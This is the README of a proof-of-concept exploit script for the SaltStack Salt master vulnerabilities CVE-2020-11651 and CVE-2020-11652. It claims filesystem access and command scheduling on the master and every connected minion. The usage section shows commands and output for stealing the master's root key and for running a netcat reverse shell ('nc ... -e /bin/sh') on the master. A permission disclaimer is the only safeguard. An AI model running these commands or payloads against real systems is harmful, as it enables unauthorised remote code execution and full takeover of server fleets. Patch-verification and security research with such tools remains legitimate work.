PoC exploit for CVE-2020-11651 and CVE-2020-11652

This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes.

Thanks for F-Secure Labs for their research and reporting.

Currently this script can be used for filesystem access and scheduling commands on the master and all connected minions. Use these powers wisely!

Usage

Default operation (without arguments) is to obtain the root key for the given master:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...

root@kalimah:~/salt#

Executing arbitrary commands on the master:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
